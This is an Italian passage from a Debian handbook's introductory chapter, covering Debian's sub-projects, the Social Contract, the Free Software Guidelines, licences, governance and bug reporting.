Con questa enormità di pacchetti c'è solo l'imbarazzo della scelta: è irragionevole distribuire 16 DVD-ROM per installare una versione completa su un comune PC... Per questo Debian è considerata sempre di più come una "meta-distribuzione", da cui si ricavano specifiche distribuzioni dedicate ad un pubblico particolare: Debian Science per uso scientifico, Debian Edu per l'uso didattico e pedagogico in un ambiente scolastico, Debian-Med per le applicazioni mediche, Debian-Jr. per i bambini, ecc. Una lista completa di tutti i sottoprogetti è consultabile nella sezione Sezione 1.3.3.1, «Sottoprogetti Debian esistenti», dedicata a tale scopo.

Queste divisioni di Debian sono organizzate in un quadro ben definito così da garantire una completa compatibilità tra le varie "sotto-distribuzioni". Tutte seguono la pianificazione principale per il rilascio di nuove versioni. Essendo costruite sulla stessa base, possono essere facilmente estese, completate e personalizzate con le applicazioni disponibili nei repository Debian.

Tutti gli strumenti di Debian operano in questa direzione: debian-cd ha permesso per parecchio tempo la creazione di un insieme di CD-ROM contenenti i soli pacchetti pre-selezionati; anche debian-installer è un programma di installazione modulare, facilmente adattabile a particolari esigenze. APT installerà i pacchetti da diverse fonti, garantendo comunque l'integrità globale del sistema.

STRUMENTO Creazione di un CD-ROM Debian

debian-cd crea immagini ISO dei supporti (CD, DVD, Blu-Ray, ecc.) di installazione pronte all'uso. Ogni questione riguardante questo software è discussa (in Inglese) nella mailing list <debian-cd@lists.debian.org>. Il team è guidato da Steve McIntyre che si occupa della costruzione della ISO Ufficiale di Debian.

FONDAMENTALI Ad ogni computer, la sua architettura

Il termine "architettura" indica un tipo di computer (le più conosciute sono Mac o PC). Ogni architettura si differenzia principalmente in base al proprio processore, solitamente incompatibile con gli altri tipi di processore. Queste differenze hardware comportano metodi diversi di funzionamento, perciò richiedono che il software venga compilato specificatamente per ciascuna architettura.

La maggior parte del software disponibile su Debian è scritto in linguaggi di programmazione portabili: lo stesso codice sorgente può essere compilato per varie architetture. In effetti, un binario eseguibile, compilato per una specifica architettura, non funzionerà su nessuna delle altre.

Ricorda che ogni programma viene generato scrivendo codice sorgente; il codice sorgente è un file di testo composto da istruzioni in uno specifico linguaggio di programmazione. Prima di poter utilizzare il software, è necessario compilare il codice sorgente, che significa trasformare il codice in un file binario (una serie di istruzioni in linguaggio macchina eseguibili dal processore). Ogni linguaggio di programmazione ha un specifico compilatore per eseguire questa operazione (per esempio, gcc per il linguaggio C).

STRUMENTO Installatore

debian-installer è il nome del programma di installazione di Debian. La sua struttura modulare ne consente l'utilizzo in una vasta gamma di scenari di installazione. Il lavoro di sviluppo è coordinato nella mailing list <debian-boot@lists.debian.org> sotto la direzione di Cyril Brulebois.

1.1.2. La Qualità del Software Libero

Debian segue tutti i principi del Software Libero e le nuove versioni vengono rilasciate solo se pronte. Gli sviluppatori non sono costretti a rispettare rigide pianificazioni nei rilasci delle nuove versioni. Spesso le persone si lamentano del troppo tempo che intercorre tra due release stabili di Debian, ma questa prudenza assicura anche la sua leggendaria affidabilità: sono necessari lunghi mesi di test perché una distribuzione possa ricevere l'etichetta "stable" (stabile).

Debian non accetta compromessi sulla qualità: tutti i bug (errori) critici noti sui pacchetti chiave devono essere corretti prima di ogni nuovo rilascio, anche se questo dovesse richiedere la posticipazione della data di uscita inizialmente pianificata. I pacchetti facoltativi i cui bug critici non sono corretti e quindi non soddisfano i requisiti di qualità, vengono semplicemente eliminati dalla versione stabile.

1.1.3. Il Quadro Giuridico: Una Organizzazione No-Profit

Dal punto di vista giuridico, Debian è un progetto gestito da una associazione di volontariato no-profit Americana. Il progetto ha un migliaio di sviluppatori Debian, ma riunisce un numero molto maggiore di collaboratori (traduttori, segnalatori di errori, artisti, sviluppatori occasionali, ecc.).

Per portare a compimento la sua missione, Debian dispone di una grande infrastruttura, con molti server connessi attraverso Internet, offerti ed ospitati da molti sponsor.

COMUNITÀ Dietro Debian, l'associazione SPI ed i rami locali

Debian non possiede alcun server a proprio nome, dato che è un progetto interno all'associazione Software in the Public Interest (SPI), che gestisce l'hardware e tutti gli aspetti finanziari (donazioni, acquisto di hardware, ecc.). Sebbene inizialmente fu creata appositamente per il progetto Debian, quest'associazione ora gestisce anche altri progetti di software libero, in particolare il database PostgreSQL, Freedesktop.org (progetto per la standardizzazione delle varie parti dei moderni ambienti desktop grafici, come GNOME e KDE Plasma) e la suite per ufficio LibreOffice.

→ https://www.spi-inc.org/

Oltre a SPI, varie associazioni locali collaborano da vicino con Debian al fine di raccogliere fondi per Debian, senza centralizzare tutto negli Stati Uniti: sono conosciute come "Trusted Organizations" in gergo Debian. Questa impostazione consente di evitare i proibitivi costi di trasferimento internazionale, e ben si adatta alla natura decentralizzata del progetto.

Non esitate ad unirvi alla vostra associazione locale e sostenere il progetto!

→ https://wiki.debian.org/Teams/Auditor/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. I Documenti Fondanti

Alcuni anni dopo l'inizio del progetto, Debian ha formalizzato i principi che dovrebbe seguire in quanto progetto di software libero. Questa decisione deliberatamente attivista permette la crescita ordinata e pacifica, assicurando che tutti i membri vadano nella stessa direzione. Per diventare uno sviluppatore Debian, ogni candidato deve confermare e dimostrare il proprio sostegno e l'adesione ai principi stabiliti nei Documenti della Fondazione del progetto.

Il processo di sviluppo è costantemente dibattuto, ma i principi riportati in questi Documenti della Fondazione sono ampiamente supportati e condivisi quindi raramente vengono cambiati. Lo statuto di Debian offre anche altre garanzie: ogni emendamento deve essere approvato da una maggioranza qualificata dei tre quarti.

1.2.1. L'Impegno nei confronti degli Utenti

Il progetto ha anche un "contratto sociale". Che senso ha tale testo in un progetto destinato esclusivamente per lo sviluppo di un sistema operativo? E' abbastanza semplice: Debian lavora per i propri utenti e quindi, per estensione, per la società. Questo contratto riassume gli impegni che il progetto si assume. Vediamoli in dettaglio:

1. Debian rimarrà libera al 100%.
Questa è la Regola n° 1. Debian è e rimarrà composta interamente ed esclusivamente da software libero. Inoltre, tutto lo sviluppo software all'interno del progetto Debian sarà, a sua volta, libero.

IN PROSPETTIVA Al di là del software

Nella prima versione del Contratto Sociale Debian era riportato: "Debian resterà al 100% Software libero". La scomparsa della parola "Software" (con la ratifica della versione 1.1 del documento nel mese di aprile del 2004) indica la volontà di raggiungere la libertà, non solo del software, ma anche della documentazione e di ogni altro elemento che Debian intende fornire all'interno del proprio sistema operativo.

Questa modifica, che è stata concepita solo come redazionale, ha, in realtà, avuto numerose conseguenze, in particolare con la rimozione di alcuni documenti problematici. Inoltre, il crescente impiego di firmware nei driver pone dei problemi: spesso sono non liberi, tuttavia sono necessari per il corretto funzionamento dell'hardware corrispondente.

2. Renderemo alla comunità del software libero.
Qualsiasi miglioramento apportato ad un'opera dal progetto Debian durante l'integrazione nella distribuzione viene inoltrato all'autore dell'opera (definito "upstream"). In generale, Debian collabora con la comunità piuttosto che lavorare in isolamento.

COMUNITÀ Autore upstream (autore a monte), o sviluppatore Debian?

Il termine "autore upstream" indica l'autore/sviluppatore di un'opera; chi la scrive o sviluppa. Dall'altra parte, uno "sviluppatore Debian" usa un'opera esistente per crearne un pacchetto Debian (sarebbe più corretto utilizzare il termine "Debian maintainer" (manutentore Debian)).

In pratica, ci possono essere sovrapposizioni tra i ruoli. Il manutentore Debian può scrivere una patch, a vantaggio di tutti gli utenti. In generale, Debian incoraggia gli incaricati della realizzazione del pacchetto ad essere coinvolti nello sviluppo "upstream" (iniziale) del programma (diventando, quindi, collaboratori, senza limitarsi al ruolo di semplici utenti di un programma).

3. Non nasconderemo i problemi.
Debian non è perfetta, e ci saranno nuovi problemi da risolvere ogni giorno. Debian manterrà il suo intero database di segnalazione aperto per la visualizzazione pubblica in ogni momento. Le segnalazioni inserite on-line dagli utenti saranno prontamente visibili a tutti.

4. Le nostre priorità sono gli utenti ed il software libero.
Questo impegno è più difficile da definire. Debian impone, perciò, di scegliere una soluzione più elegante, anche se più difficile da implementare, piuttosto che una soluzione semplice per gli sviluppatori che metterebbe a repentaglio l'esperienza utente. Ciò significa tener conto, prima di tutto, degli interessi di utenti e del software libero.

5. Opere che non rispettano i nostri standard di software libero.
Debian accetta e capisce che gli utenti a volte desiderano utilizzare alcuni programmi non liberi. Ecco perché il progetto consente l'utilizzo di parti della propria infrastruttura per distribuire pacchetti Debian di software non libero che possono però essere ridistribuiti in modo sicuro.

COMUNITÀ Pro o contro la sezione non-free?

L'impegno di mantenere una struttura contenente software non libero (es. la sezione "non-free", vedi il riquadro VOCABOLARIO Gli archivi main, contrib e non-free) è spesso oggetto di discussione all'interno della comunità Debian.

I detrattori sostengono che allontana le persone dai software liberi equivalenti, e contraddice il principio di servire solo la causa del software libero. I sostenitori affermano invece che la maggior parte dei pacchetti non-free sono "quasi liberi", in quanto mantengono per lo più solo poche limitazioni (la più comune delle quali è il divieto all'utilizzo del software in ambito commerciale). Distribuendo queste opere nel ramo non-free, si cerca indirettamente di spiegare agli autori che le loro creazioni sarebbero più ampiamente utilizzate e conosciute, se potessero essere incluse nella sezione principale. E sono, pertanto, invitati a modificare la loro licenza per raggiungere questo scopo.

Dopo un primo ed infruttuoso tentativo nel 2004, la rimozione completa della sezione del software non-free è improbabile che ritorni in agenda, soprattutto perché vi sono contenuti molti documenti utili che sono stati spostati semplicemente perché non soddisfano completamente i nuovi requisiti richiesti per la sezione principale. Questo vale in particolare per alcuni file di documentazione di software prodotti dal progetto GNU (in particolare, Emacs e Make).

Il mantenimento della sezione non-free è occasionalmente fonte di attrito con la Free Software Foundation, ed è la ragione principale per la quale la stessa si rifiuta di raccomandare ufficialmente Debian come sistema operativo.

1.2.2. Le Linee Guida Debian per il Software Libero

Questo documento di riferimento definisce le specifiche richieste da un software per essere "abbastanza libero" da poter essere incluso in Debian. Se la licenza di un programma è in accordo con questi principi, esso può essere incluso nella sezione principale; al contrario, e a condizione che ne sia consentita la libera distribuzione, può essere aggiunto alla sezione non-free. La sezione non-free non fa ufficialmente parte di Debian; è un servizio aggiunto disponibile per gli utenti.

Più che definire i criteri di selezione per Debian, questo testo è diventato un testo fondamentale del software libero, ed è servito come base per la "Definizione di Open Source" (sorgente aperto). Storicamente, è stato dunque una delle prime formalizzazioni del concetto di "software libero".

La GNU General Public License, la BSD License e la Artistic License sono esempi di licenze libere tradizionali che seguono i 9 punti menzionati in questo testo. Di seguito troverete il testo così come è pubblicato sul sito web di Debian.

→ https://www.debian.org/social_contract#guidelines

1. Libera ridistribuzione.  La licenza di un componente Debian non può porre restrizioni a nessuno per la vendita o la cessione del software come componente di una distribuzione software aggregata contenente programmi provenienti da fonti diverse. La licenza non può richiedere royalty o altri pagamenti per la vendita.

2. Codice sorgente.  Il programma deve includere il codice sorgente e deve permettere la distribuzione sia come codice sorgente che in forma compilata.

3. Lavori derivati.  La licenza deve permettere modifiche e lavori derivati e deve permettere la loro distribuzione con gli stessi termini di licenza del software originale.

4. Integrità del codice sorgente dell'autore.  La licenza può porre restrizioni alla distribuzione di codice sorgente modificato solo se permette la distribuzione di "file patch" insieme al codice sorgente con lo scopo di modificare il programma durante la compilazione. La licenza deve esplicitamente permettere la distribuzione di software compilato con codice sorgente modificato. La licenza può richiedere che i lavori derivati abbiano un nome o un numero di versione diversi da quelli del software originale (Questo è un compromesso. Il gruppo Debian invita tutti gli autori a non impedire che file, sorgenti o binari, possano essere modificati).

5. Nessuna discriminazione di persone o gruppi.  La licenza non può discriminare nessuna persona o gruppo di persone.

6. Nessuna discriminazione nei campi di impiego.  La licenza non può porre restrizioni all'utilizzo del programma in uno specifico campo di impiego. Per esempio, non può porre restrizioni all'uso commerciale o nella ricerca genetica.

7. Distribuzione della licenza.  I diritti applicati al programma devono essere applicabili a chiunque riceva il programma senza il bisogno di utilizzare licenze addizionali di terze parti.

8. La licenza non può essere specifica per Debian.  I diritti applicati al programma non possono dipendere dal fatto che esso sia parte di un sistema Debian. Se il programma è estratto da Debian e usato o distribuito senza Debian ma ottemperando ai termini della licenza, tutte le parti alle quali il programma è ridistribuito dovrebbero avere gli stessi diritti di coloro che lo ricevono con il sistema Debian.

9. La licenza non deve contaminare altro software.  La licenza non può porre restrizioni ad altro software che sia distribuito insieme al software concesso in licenza. Per esempio, la licenza non può richiedere che tutti gli altri programmi distribuiti con lo stesso supporto debbano essere software libero.

FONDAMENTALI Copyleft

Il copyleft è un principio che consiste nell'utilizzare i diritti d'autore per garantire la libertà di un prodotto e dei suoi derivati, piuttosto che limitarne i diritti di utilizzo, come avviene con il software proprietario. È anche un gioco di parole sul termine "copyright". Richard Stallman ebbe l'idea quando un suo amico, appassionato di giochi di parole, scrisse su una busta a lui indirizzata: "copyleft: all rights reversed" (copyleft: tutti i diritti invertiti). Il copyleft impone la conservazione di tutte le libertà iniziali dal momento della distribuzione di una versione originale o modificata di un lavoro (di solito un programma). È, dunque, impossibile distribuire un programma come software proprietario se derivato dal codice di un programma rilasciato come copyleft.

La licenza copyleft più conosciuta è, naturalmente, la GNU General Public License (GPL) con le sue derivate, la GNU Lesser General Public License (LGPL) e la GNU Free Documentation License (GFDL). Purtroppo, le licenze copyleft sono generalmente incompatibili tra loro. Di conseguenza, è meglio utilizzarne una sola per volta.

10. Esempi di licenze.  The “GPL”, “BSD”, e “Artistic” sono esempi di licenze che consideriamo "libere".

FONDAMENTALI Licenze libere

La GNU GPL, la licenza BSD e la Artistic License, anche se molto diverse sono tutte conformi alle Linee guida Debian per il software libero (Debian Free Software Guidelines - DFSG).

La GNU GPL, utilizzata e promossa dalla FSF (Free Software Foundation), è la più comune. La sua caratteristica principale è che essa si applica anche a qualsiasi opera derivata che viene ridistribuita: un programma che incorpora o utilizza codice GPL può essere distribuito solo negli stessi termini. Se ne vieta, pertanto, qualsiasi riutilizzo in una applicazione proprietaria. Questo pone seri problemi per il riuso di codice GPL in software libero incompatibile con questa licenza. Di conseguenza, a volte è impossibile collegare un programma pubblicato sotto un'altra licenza per software libero con una libreria distribuita sotto GPL. D'altra parte, questa licenza è molto solida nel diritto americano: gli avvocati della FSF hanno partecipato alla stesura della stessa, e hanno spesso costretto i trasgressori a raggiungere un accordo amichevole con la FSF senza ricorrere al giudice.

→ https://www.gnu.org/copyleft/gpl.html

La licenza BSD è la meno restrittiva: è permesso praticamente tutto, compreso l'uso di codice BSD modificato in un'applicazione proprietaria.

→ https://www.opensource.org/licenses/bsd-license.php

Infine, la Artistic License consiste in un compromesso fra le altre due: l'integrazione di codice in una applicazione proprietaria è consentita, ma ogni modifica deve essere resa pubblica.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

Il testo completo di queste licenze è disponibile in ogni sistema Debian nella directory /usr/share/common-licenses/ (nel caso di BSD la più recente licenza 3-Clause).

COMUNITÀ Bruce Perens, un leader controverso

Bruce Perens fu il secondo leader del progetto Debian che successe a Ian Murdock. Fu una figura molto controversa, per le sue dinamiche e per i suoi metodi autoritari. Rimane comunque molto importante il suo contributo a Debian, per la redazione delle famose linee guida "Debian Free Software Guidelines" (DFSG), da uno spunto originale di Ean Schuessler. Successivamente, Bruce, avrebbe tratto da questo documento la famosa "Open Source Definition" (definizione dell'Open Source), rimuovendone tutti i riferimenti a Debian.

→ https://opensource.org/

La sua uscita del progetto è stata alquanto burrascosa, ma Bruce è rimasto fortemente legato a Debian, visto che continua a promuovere la distribuzione in ambito politico ed economico. Appare ancora sporadicamente sulle mailing list per dare la sua consulenza e presentare le sue ultime iniziative in favore di Debian.

Un ultimo aneddoto, è stato Bruce l'ispiratore della scelta iniziale sui diversi "nomi in codice" assegnati alle versioni di Debian (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 (not released yet) — Bullseye, 12 (not released yet) — Bookworm, Unstable — Sid). Sono presi tutti dai personaggi del film Toy Story. Questo film d'animazione interamente realizzato al computer è stato prodotto da Pixar Studios, presso i quali era impiegato Bruce al momento in cui guidava il progetto Debian. Il nome "Sid" ha un ruolo particolare, in quanto sarà sempre associato al ramo Unstable (instabile). Nel film, questo personaggio era il bambino vicino di casa, che rompeva sempre i giocattoli — quindi attenzione ad avvicinarsi troppo a Unstable. Inoltre, Sid è anche un acronimo di "Still In Development" (ancora in sviluppo).

1.3. Il funzionamento interno del Progetto Debian

I grandi risultati prodotti dal progetto Debian sono dovuti contemporaneamente al lavoro svolto sull'infrastruttura dagli esperti sviluppatori di Debian, dal lavoro individuale o collettivo degli sviluppatori sui pacchetti Debian, e dalle opinioni degli utenti.

1.3.1. Gli Sviluppatori Debian

Gli sviluppatori Debian hanno responsabilità diverse, e come membri ufficiali del progetto, hanno una grande influenza sul percorso che deve intraprendere lo stesso. Uno sviluppatore Debian è generalmente responsabile di almeno un pacchetto, ma in base ai propri desideri ed al tempo a disposizione, è libero di partecipare a numerosi team, acquisendo, in tal modo, più responsabilità all'interno del progetto.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

STRUMENTODatabase degli sviluppatori

Debian dispone di un database che raccoglie tutti gli sviluppatori registrati nel progetto, comprensivo delle informazioni che li riguardano (indirizzo, telefono, coordinate geografiche come longitudine e latitudine, ecc.). Alcune informazioni (nome e cognome, Paese, nome utente nel progetto, nome utente IRC, chiave GnuPG, ecc.) sono pubbliche e disponibili sul Web.

→ https://db.debian.org/

Le coordinate geografiche permettono la creazione di una mappa che visualizza la distribuzione degli sviluppatori in giro per il mondo. Debian è realmente un progetto internazionale: suoi sviluppatori possono essere trovati in tutti i continenti, anche se la maggior parte è posizionata nel "mondo Occidentale".

Figura 1.1. Distribuzione a livello mondiale degli sviluppatori Debian

La manutenzione dei pacchetti è un'attività molto documentata e regolamentata. Devono, infatti, essere rispettate tutte le norme stabilite dalla Debian Policy. Fortunatamente, sono disponibili molti strumenti che agevolano il lavoro dei manutentori. Lo sviluppatore può quindi concentrarsi sulle specifiche del proprio pacchetto e su compiti più complessi, come la correzione degli errori.

→ https://www.debian.org/doc/debian-policy/

FONDAMENTALI Manutenzione dei pacchetti, il lavoro degli sviluppatori

La manutenzione di un pacchetto comporta, in primo luogo, l' "impacchettamento" del progrmma. In particolare, questo significa definire le modalità di installazione in modo tale che, una volta installato, questo programma funzioni correttamente rispettando tutte le regole imposte dal progetto Debian. Il risultato di questa operazione viene salvato in un file .deb. L'effettiva installazione del programma non dovrà richiedere altro che l'estrazione dei file compressi e l'esecuzione di alcuni script pre-installazione o post-installazione in esso contenuti.

Dopo questa fase iniziale, comincia realmente il ciclo di manutenzione: preparazione degli aggiornamenti rispettando l'ultima versione della Debian Policy, correzione degli errori segnalati dagli utenti, e l'inclusione di eventuali nuove versioni "upstream" (lett. "a monte") che naturalmente continueranno ad essere sviluppate contemporaneamente. Ad esempio, al momento della creazione iniziale del pacchetto, il programma è alla versione 1.2.3. Dopo alcuni mesi di sviluppo, gli autori originali rilasciano una nuova versione stabile, numerata 1.4.0. A questo punto, il manutentore Debian dovrebbe aggiornare il pacchetto, in modo che tale gli utenti possano beneficiare dell'ultima versione stabile.

Le Policy, un elemento essenziale del progetto Debian, stabiliscono le norme che garantiscono la qualità dei pacchetti e la loro perfetta interoperabilità con il resto della distribuzione. Grazie a queste politiche, Debian rimane coerente nonostante le sue dimensioni gigantesche. Queste Policy non sono scritte sulla pietra, ma sono in continua evoluzione grazie alle proposte formulate sulla mailing list <debian-policy@lists.debian.org>. Gli emendamenti che sono stati approvati da tutti sono accettati e applicati al testo da un piccolo gruppo di manutentori che non hanno responsabilità editoriale (loro includono solamente le modifiche concordate dagli sviluppatori Debian che sono membri della suddetta lista). È possibile consultare le attuali proposte di modifica sul sistema di tracciamento dei bug:

→ https://bugs.debian.org/debian-policy

COMUNITÀ Policy: procedura editoriale

Chiunque può proporre modifiche alla Policy di Debian semplicemente inserendo la segnalazione di un errore con livello di gravità "wishlist" relativo al pacchetto debian-policy. Il processo che poi inizia è documentato su https://www.debian.org/doc/debian-policy/ap-process.html: se viene considerato un problema da risolvere tramite la creazione di una nuova regola nella Policy di Debian, inizia la relativa discussione nella mailing list <debian-policy@lists.debian.org> fino a quando si raggiunge l'accordo per una proposta. Qualcuno elabora quindi la modifica decisa e la sottopone per l'approvazione (sotto forma di patch da revisionare). Appena altri due sviluppatori confermano che la modifica proposta riflette l'accordo raggiunto nella precedente discussione (la "appoggiano"), la proposta può essere inclusa nel documento ufficiale da uno dei manutentori del pacchetto debian-policy. Se il processo non supera uno di questi passaggi, i manutentori chiudono il bug, classificando la proposta come respinta.

DEBIAN POLICY La documentazione

La documentazione di ogni pacchetto è memorizzata nella directory /usr/share/doc/pacchetto/. Questa directory spesso contiene un file README.Debian nel quale sono descritte le modifiche specifiche per Debian apportate dal manutentore del pacchetto. E', quindi, consigliabile leggere questo file prima di ogni modifica alla configurazione del pacchetto al fine di beneficiare della sua esperienza. Troviamo anche il file changelog.Debian.gz che descrive le modifiche fatte da una versione all'altra dal manutentore Debian. Non deve essere confuso con il file changelog.gz (o simile), che descrive le modifiche apportate dagli sviluppatori originali. Il file copyright include informazioni relative all'autore ed al tipo di licenza che copre il software. Infine, è anche possibile trovare un file chiamato NEWS.Debian.gz, che è utilizzato dallo sviluppatore Debian per comunicare informazioni importanti sugli aggiornamenti; se viene utilizzatoapt-listchanges, questi messaggi vengono visualizzati automaticamente. Tutti gli altri file sono specifici di un dato software. In modo particolare vorremmo far notare la sottodirectory examples che spesso contiene esempi di file di configurazione.

Le Policy coprono molto bene gli aspetti tecnici della creazione di pacchetti. La dimensione del progetto solleva anche problemi organizzativi; questi vengono trattati dalla Costituzione Debian, che stabilisce la struttura ed i mezzi per il processo decisionale. In altre parole, un sistema formale di governance.

La costituzione definisce un certo numero di ruoli e posizioni, compreso le responsabilità e le autorizzazioni di ognuno. È particolarmente interessante notare che gli sviluppatori Debian dispongono sempre dell'autorità per la decisione finale, potendo votare le risoluzioni generali, in cui per apportare modifiche significative (come quelle che riguardano i documenti fondanti) è necessaria una maggioranza qualificata dei tre quarti (75%) dei voti. Tuttavia, gli sviluppatori annualmente eleggono il «leader» per rappresentarli nelle riunioni, e garantire il coordinamento interno tra i diversi team. Questa elezione è sempre preceduta da un periodo di intense discussioni. Il ruolo di questo leader non è definito formalmente da alcun documento: i candidati a questo ruolo di solito propongono la propria definizione della posizione. In pratica, i ruoli del leader comprendono quello di mantenere i rapporti con i media, il coordinamento «interno» fra i vari team, e l'assegnare un orientamento generale al progetto in cui gli sviluppatori possano riconoscersi: il punto di vista del DPL è implicitamente approvato dalla maggioranza dei membri del progetto.

In particolare, i leader hanno un potere reale: i loro voti risolvono le votazioni in pareggio, loro possono prendere ogni decisione che non sia già assegnata ad un'altra autorità e possono delegare parte delle proprie responsabilità.

Dalla sua nascita, il progetto è stato guidato nell'ordine da Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Mehdi Dogguy, Chris Lamb e Sam Hartman.

La costituzione definisce anche il "comitato tecnico". Il principale ruolo di questo comitato è quello di derimere dispute in materia tecnica quando gli sviluppatori interessati non hanno raggiunto un accordo tra di loro. Oltre a ciò, questo comitato svolge un ruolo consultivo per qualsiasi sviluppatore che non riesce a prendere una decisione di cui è responsabile. È importante notare che deve essere comunque interpellato da una delle parti in questione.

Infine, la costituzione definisce la posizione del "segretario del progetto", che si occupa dell'organizzazione delle votazioni relative alle varie elezioni e risoluzioni generali.

La procedura “risoluzione generale” è completamente dettagliata nella costituzione, dall'inizio della discussione fino al conteggio finale dei voti. L'aspetto maggiormente interessante di questo processo è quando si arriva alla votazione vera e propria: gli sviluppatori devono mettere in ordine le diverse opzioni di voto e il vincitore è scelto attraverso il Metodo Condorcet (più specificamente il metodo Schulze). Per maggiori dettagli leggere:

→ https://www.debian.org/devel/constitution

CULTURA Flamewar, discussione che prende fuoco

Una "flamewar" è un dibattito estremamente appassionato, che si conclude spesso con persone che si attaccano a vicenda una volta che entrambe le parti esauriscono tutte le argomentazioni valide. Alcuni temi sono più frequentemente oggetto di polemiche rispetto ad altri (ad esempio la scelta dell'editor di testo, "Preferisci vi o emacs?", è una vecchia conoscenza). Le questioni provocano spesso scambi di e-mail molto rapidi, semplicemente a causa del numero di persone che hanno un'opinione sull'argomento (tutti) e la natura molto personale di tali questioni.

In genere questo tipo di discussioni non portano a niente di particolarmente utile; la raccomandazione generale è di tenersi fuori da questi dibattiti, e sfogliare rapidamente il loro contenuto, poiché la loro lettura completa sarebbe un inutile dispendio di tempo.

Anche se questa costituzione istituisce una parvenza di democrazia, la realtà quotidiana è ben diversa: Debian segue naturalmente le regole del software libero e della do-cracy (democrazia del fare): decide colui che fa. Può essere sprecato un sacco di tempo dibattendo sui rispettivi meriti dei vari metodi per affrontare un problema; la soluzione scelta sarà la prima che è sia funzionale che soddisfacente... onorando il tempo che vi ha dedicato una persona competente.

Questo è l'unico modo per guadagnarsi i galloni: fare qualcosa di utile e dimostrare di aver lavorato bene. Molti team "amministrativi" di Debian operano per designazione, preferendo i volontari che hanno già contribuito ed efficacemente dimostrato la loro competenza. Questo metodo è pratico, perché la maggior parte del lavoro fatto da questi team è pubblico, quindi accessibile a tutti gli sviluppatori interessati. Questo è il motivo per cui Debian è descritta come una "meritocrazia".

CULTURA Meritocrazia, il regno della conoscenza

La meritocrazia è una forma di governo nella quale l'autorità è esercitata da coloro ai quali sono riconosciuti i maggiori meriti. Per Debian, il merito è la misura della competenza, che è essa stessa valutata attraverso l'osservazione delle attività svolte, all'interno del progetto (Stefano Zacchiroli, un ex leader del progetto, parla di "do-cracy", che significa "potere di coloro che fanno le cose"). La loro stessa esistenza dimostra un certo livello di competenza, poiché i loro risultati sono generalmente rappresentati da software libero, con codice sorgente disponibile, che può essere facilmente valutabile da parte dei colleghi per verificarne la qualità.

Questa efficace modalità operativa garantisce la qualità dei contributi forniti dai team Debian «chiave». Questo non è un metodo perfetto e di tanto in tanto qualcuno non accetta questo modo di operare. La scelta degli sviluppatori accolti nei team può apparire un po' arbitraria, o addirittura sleale. Inoltre, non tutti hanno la stessa idea sul servizio richiesto a questi team. Per alcuni, è inaccettabile dover aspettare otto giorni per l'inclusione di un nuovo pacchetto Debian, mentre altri aspettano pazientemente senza problemi anche per tre settimane. Di conseguenza capita spesso ci siano lamentele dagli scontenti sulla «qualità del servizio» di alcuni team.

COMUNITÀ Integrazione di nuovi manutentori

Il team responsabile dell'ammissione dei nuovi sviluppatori è quello regolarmente più criticato. Bisogna sapere che, nel corso degli anni, il progetto Debian è diventato sempre più esigente riguardo agli sviluppatori che accetta. Alcune persone possono ritenere che questa sia un'ingiustizia, ma dobbiamo confessare che quelle che inizialmente erano solo piccole sfide personali sono diventate una cosa molto più grande in una comunità di oltre 1.000 persone, che deve garantire la qualità e l'integrità di tutto ciò che Debian produce per i suoi utenti.

Inoltre, la procedura di accettazione si conclude con l'esame della candidatura da parte di un piccolo gruppo, i Debian Account Manager. Questi dirigenti sono, quindi, particolarmente esposti alle critiche, in quanto hanno l'ultima parola sull'inclusione o il rifiuto di un volontario all'interno della comunità degli sviluppatori Debian. In pratica, a volte si deve ritardare l'accettazione di una persona finché non avrà approfondito maggiormente il funzionamento del progetto. Si può, naturalmente, contribuire a Debian, anche prima di essere accettati come uno sviluppatore ufficiali, essendo sponsorizzati dagli sviluppatori attuali.

1.3.2. Il ruolo attivo degli utenti

Ci si potrebbe chiedere se sia rilevante citare gli utenti tra coloro che lavorano all'interno del progetto Debian e la risposta è, definitivamente, si: svolgono un ruolo fondamentale nel progetto. Lungi dall'essere «passivi», alcuni dei nostri utenti utilizzano versioni di Debian in fase di sviluppo inviando, regolarmente, segnalazioni di bug e problemi. Altri vanno anche oltre e propongono idee e miglioramenti, presentando una segnalazione con un livello di gravità "wishlist" (lista dei desideri) o inoltrando correzioni al codice sorgente, dette "patch" (vedi Sezione 1.3.2.3, «Invio di correzioni»).

1.3.2.1. Segnalazione di bug

Lo strumento fondamentale, utilizzato da gran parte del progetto, per l'invio di bug è il Sistema di Tracciamento dei Bug di Debian (Debian BTS). La parte pubblica (l'interfaccia web) consente agli utenti di visualizzare tutti i bug segnalati, con l'opzione per visualizzare un elenco ordinato di bug selezionati in base a vari criteri, come: pacchetto che ne è affetto, gravità, stato, indirizzo del segnalatore, indirizzo del manutentore incaricato, tag, ecc. È anche possibile consultare l'elenco storico completo di tutte le discussioni riguardanti ciascun bug.

Contemporaneamente, il BTS Debian cbasato su e-mail: tutte le informazioni che memorizza derivano dai messaggi inviati dalle persone coinvolte. Ogni e-mail inviata a <12345@bugs.debian.org> sarà assegnata alla cronologia del bug numero 12345. Le persone autorizzate possono "chiudere" un bug scrivendo un messaggio che descrive i motivi della decisione di chiusura a <12345-done@bugs.debian.org> (un bug viene chiuso quando il problema indicato è risolto o non è più rilevante). Un nuovo bug viene segnalato inviando una e-mail a <submit@bugs.debian.org> secondo un formato specifico che identifica il pacchetto in questione. L'indirizzo <control@bugs.debian.org> permette la modifica di tutte le «meta-informazioni» relative a un bug.

Il Debian BTS ha altre caratteristiche funzionali, come ad esempio l'uso di tag per l'etichettatura dei bug. Per maggiori informazioni, vedere

→ https://www.debian.org/Bugs/

VOCABOLARIO La gravità di un bug

La gravità di un bug assegna formalmente il grado di importanza del problema indicato. In realtà, non tutti i bug hanno la stessa importanza, per esempio, un errore di battitura in una pagina di manuale non è paragonabile a una vulnerabilità di sicurezza nel software per un server.

Debian usa una scala di gravità estesa ad indicare con precisione l'importanza di un bug. Ogni livello è definito proprio per facilitarne l'identificazione.

→ https://www.debian.org/Bugs/Developer#severities

